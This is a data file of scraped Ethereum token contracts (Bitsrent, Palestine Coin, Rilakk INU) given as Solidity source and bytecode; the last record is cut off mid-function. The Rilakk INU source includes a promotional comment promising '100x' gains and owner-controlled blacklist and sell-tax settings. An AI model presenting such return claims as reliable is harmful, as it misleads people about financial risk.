= "Bitsrent"; string public constant symbol = "BTR"; uint8 public constant decimals = 18; //supply is 20 Billion uint256 public constant INITIAL_SUPPLY=20000000000*(10 ** uint256(decimals)); /** * @dev Constructor that gives msg.sender all of existing tokens. * minted only during contract initialization */ constructor() public { _mint(msg.sender, INITIAL_SUPPLY); } /** * @dev function that burns an amount of the token of a given * account. * @param amount The amount that will be burnt. **/ function burnToken( uint256 amount) public { _burn(msg.sender,amount); } /** * @dev Freezes the account from transferring tokens from own address to another * can be called by owner only **/ function freeze(address freezingAddress,bool decision) onlyOwner public { _freezeAccount(freezingAddress,decision); } }
0x6080604052600436106100da5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100df578063095ea7b31461016957806318160ddd146101a157806323000e4b146101c857806323b872dd146101e95780632ff2e9dc14610213578063313ce5671461022857806370a08231146102535780637b47ec1a146102745780638da5cb5b1461028e57806395d89b41146102bf578063a9059cbb146102d4578063bf120ae5146102f8578063dd62ed3e1461031e578063f2fde38b14610345575b600080fd5b3480156100eb57600080fd5b506100f4610366565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561012e578181015183820152602001610116565b50505050905090810190601f16801561015b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561017557600080fd5b5061018d600160a060020a036004351660243561039d565b604080519115158252519081900360200190f35b3480156101ad57600080fd5b506101b661041b565b60408051918252519081900360200190f35b3480156101d457600080fd5b5061018d600160a060020a0360043516610421565b3480156101f557600080fd5b5061018d600160a060020a036004358116906024351660443561043f565b34801561021f57600080fd5b506101b6610602565b34801561023457600080fd5b5061023d610612565b6040805160ff9092168252519081900360200190f35b34801561025f57600080fd5b506101b6600160a060020a0360043516610617565b34801561028057600080fd5b5061028c600435610632565b005b34801561029a57600080fd5b506102a361063f565b60408051600160a060020a039092168252519081900360200190f35b3480156102cb57600080fd5b506100f461064e565b3480156102e057600080fd5b5061018d600160a060020a0360043516602435610685565b34801561030457600080fd5b5061028c600160a060020a036004351660243515156107a9565b34801561032a57600080fd5b506101b6600160a060020a03600435811690602435166107ce565b34801561035157600080fd5b5061028c600160a060020a03600435166107f9565b60408051808201909152600881527f4269747372656e74000000000000000000000000000000000000000000000000602082015281565b6000600160a060020a03831615156103b457600080fd5b336000818152600260209081526040808320600160a060020a03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b60035490565b600160a060020a031660009081526004602052604090205460ff1690565b600160a060020a03831660009081526001602052604081205482111561046457600080fd5b600160a060020a038416600090815260026020908152604080832033845290915290205482111561049457600080fd5b600160a060020a03841660009081526004602052604090205460ff16156104ba57600080fd5b600160a060020a03831660009081526004602052604090205460ff16156104e057600080fd5b600160a060020a03831615156104f557600080fd5b600160a060020a03841660009081526001602052604090205461051e908363ffffffff61085416565b600160a060020a038086166000908152600160205260408082209390935590851681522054610553908363ffffffff61086b16565b600160a060020a038085166000908152600160209081526040808320949094559187168152600282528281203382529091522054610597908363ffffffff61085416565b600160a060020a03808616600081815260026020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b6b409f9cbc7c4a04c22000000081565b601281565b600160a060020a031660009081526001602052604090205490565b61063c3382610884565b50565b600054600160a060020a031681565b60408051808201909152600381527f4254520000000000000000000000000000000000000000000000000000000000602082015281565b336000908152600160205260408120548211156106a157600080fd5b3360009081526004602052604090205460ff16156106be57600080fd5b600160a060020a03831660009081526004602052604090205460ff16156106e457600080fd5b600160a060020a03831615156106f957600080fd5b33600090815260016020526040902054610719908363ffffffff61085416565b3360009081526001602052604080822092909255600160a060020a0385168152205461074b908363ffffffff61086b16565b600160a060020a0384166000818152600160209081526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b600054600160a060020a031633146107c057600080fd5b6107ca8282610954565b5050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600054600160a060020a0316331461081057600080fd5b600160a060020a038116151561082557600080fd5b6000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6000808383111561086457600080fd5b5050900390565b60008282018381101561087d57600080fd5b9392505050565b600160a060020a038216151561089957600080fd5b600160a060020a0382166000908152600160205260409020548111156108be57600080fd5b6003546108d1908263ffffffff61085416565b600355600160a060020a0382166000908152600160205260409020546108fd908263ffffffff61085416565b600160a060020a0383166000818152600160209081526040808320949094558351858152935191937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a35050565b600160a060020a038216600081815260046020908152604091829020805460ff191685151590811790915582519384529083015280517f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a59281900390910190a150505600a165627a7a7230582001a26533d3b85afff622cb38d5037213f06f515380e77556ad136e4005543d630029
{"success": true, "error": null, "results": {}}
10,453
0x297a73925a9622e6af4160920c4e723039836574
/** *Submitted for verification at Etherscan.io on 2021-06-16 */ /** *Submitted for verification at Etherscan.io on 2020-09-01 */ //SPDX-License-Identifier: MIT /* * MIT License * =========== * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE */ pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns (uint); function balanceOf(address account) external view returns (uint); function transfer(address recipient, uint amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint amount) external returns (bool); function transferFrom(address sender, address recipient, uint amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } contract Context { constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping (address => uint) private _balances; mapping (address => mapping (address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns (uint) { return _totalSupply; } function balanceOf(address account) public view returns (uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns (uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); require(_totalSupply <= 1e29, "_totalSupply exceed hard limit"); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } } library SafeMath { function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns (uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns (uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns (uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract PalestineCoin is ERC20, ERC20Detailed { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint; address public governance; mapping (address => bool) public minters; constructor () public ERC20Detailed("Palestine Coin", "PSC", 18) { governance = msg.sender; addMinter(governance); // underlying _mint function has hard limit mint(governance, 1e23); } function mint(address account, uint amount) public { require(minters[msg.sender], "!minter"); _mint(account, amount); } function setGovernance(address _governance) public { require(msg.sender == governance, "!governance"); governance = _governance; } function addMinter(address _minter) public { require(msg.sender == governance, "!governance"); minters[_minter] = true; } function removeMinter(address _minter) public { require(msg.sender == governance, "!governance"); minters[_minter] = false; } function burn(uint256 amount) public { _burn(msg.sender, amount); } }
0x608060405234801561001057600080fd5b50600436106101165760003560e01c80635aa6e675116100a2578063a457c2d711610071578063a457c2d71461055b578063a9059cbb146105c1578063ab033ea914610627578063dd62ed3e1461066b578063f46eccc4146106e357610116565b80635aa6e675146103f257806370a082311461043c57806395d89b4114610494578063983b2d561461051757610116565b80633092afd5116100e95780633092afd5146102a8578063313ce567146102ec578063395093511461031057806340c10f191461037657806342966c68146103c457610116565b806306fdde031461011b578063095ea7b31461019e57806318160ddd1461020457806323b872dd14610222575b600080fd5b61012361073f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610163578082015181840152602081019050610148565b50505050905090810190601f1680156101905780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101ea600480360360408110156101b457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107e1565b604051808215151515815260200191505060405180910390f35b61020c6107ff565b6040518082815260200191505060405180910390f35b61028e6004803603606081101561023857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610809565b604051808215151515815260200191505060405180910390f35b6102ea600480360360208110156102be57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108e2565b005b6102f4610a00565b604051808260ff1660ff16815260200191505060405180910390f35b61035c6004803603604081101561032657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a17565b604051808215151515815260200191505060405180910390f35b6103c26004803603604081101561038c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610aca565b005b6103f0600480360360208110156103da57600080fd5b8101908080359060200190929190505050610b97565b005b6103fa610ba4565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61047e6004803603602081101561045257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bca565b6040518082815260200191505060405180910390f35b61049c610c12565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104dc5780820151818401526020810190506104c1565b50505050905090810190601f1680156105095780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6105596004803603602081101561052d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610cb4565b005b6105a76004803603604081101561057157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610dd2565b604051808215151515815260200191505060405180910390f35b61060d600480360360408110156105d757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e9f565b604051808215151515815260200191505060405180910390f35b6106696004803603602081101561063d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ebd565b005b6106cd6004803603604081101561068157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fc4565b6040518082815260200191505060405180910390f35b610725600480360360208110156106f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061104b565b604051808215151515815260200191505060405180910390f35b606060038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107d75780601f106107ac576101008083540402835291602001916107d7565b820191906000526020600020905b8154815290600101906020018083116107ba57829003601f168201915b5050505050905090565b60006107f56107ee61106b565b8484611073565b6001905092915050565b6000600254905090565b600061081684848461126a565b6108d78461082261106b565b6108d285604051806060016040528060288152602001611b3860289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061088861106b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115209092919063ffffffff16565b611073565b600190509392505050565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600560009054906101000a900460ff16905090565b6000610ac0610a2461106b565b84610abb8560016000610a3561106b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115e090919063ffffffff16565b611073565b6001905092915050565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610b89576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260078152602001807f216d696e7465720000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b610b938282611668565b5050565b610ba133826118a8565b50565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610caa5780601f10610c7f57610100808354040283529160200191610caa565b820191906000526020600020905b815481529060010190602001808311610c8d57829003601f168201915b5050505050905090565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d77576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000610e95610ddf61106b565b84610e9085604051806060016040528060258152602001611bca6025913960016000610e0961106b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115209092919063ffffffff16565b611073565b6001905092915050565b6000610eb3610eac61106b565b848461126a565b6001905092915050565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f80576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60066020528060005260406000206000915054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110f9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611ba66024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561117f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611af06022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112f0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611b816025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611376576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611aab6023913960400191505060405180910390fd5b6113e181604051806060016040528060268152602001611b12602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115209092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611474816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115e090919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b60008383111582906115cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611592578082015181840152602081019050611577565b50505050905090810190601f1680156115bf5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60008082840190508381101561165e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561170b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b611720816002546115e090919063ffffffff16565b6002819055506c01431e0fae6d7217caa000000060025411156117ab576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f5f746f74616c537570706c79206578636565642068617264206c696d6974000081525060200191505060405180910390fd5b6117fc816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115e090919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561192e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180611b606021913960400191505060405180910390fd5b61199981604051806060016040528060228152602001611ace602291396000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115209092919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119f081600254611a6090919063ffffffff16565b600281905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6000611aa283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611520565b90509291505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa265627a7a7231582026994218770de70c7cd36d946a04937db77c5f147d655b7c27bea1eda2061c9c64736f6c63430005110032
{"success": true, "error": null, "results": {}}
10,454
0x6536c22131c137510b1658e5aaabb5d3d2f7b6e6
/** *Submitted for verification at Etherscan.io on 2021-12-20 */ /* Hi! This is Rilakk INU, the chillest utility inu out there. Join Us for 100x, wealth accumulation (staking), entertainment (Play2Earn game) and much more!!! Telegram: https://t.me/RILAKKINU Website: https://www.rilakkinu.com */ pragma solidity ^0.8.9; // SPDX-License-Identifier: MIT abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Rilakkinu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private constant _initSellTax = 10; uint256 private _feeAddr1; uint256 private _feeAddr2; uint256 private _sellTax = _initSellTax; address payable public _FeeAddress; address payable private _feeAddrWallet2; string private constant _name = "Rilakk INU"; string private constant _symbol = "RINU"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 public _maxWalletSize = _tTotal.div(20); event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress) { _FeeAddress = FeeAddress; _feeAddrWallet2 = FeeAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_FeeAddress] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 2; _feeAddr2 = _sellTax; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (40 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 2; _feeAddr2 = _sellTax; } uint256 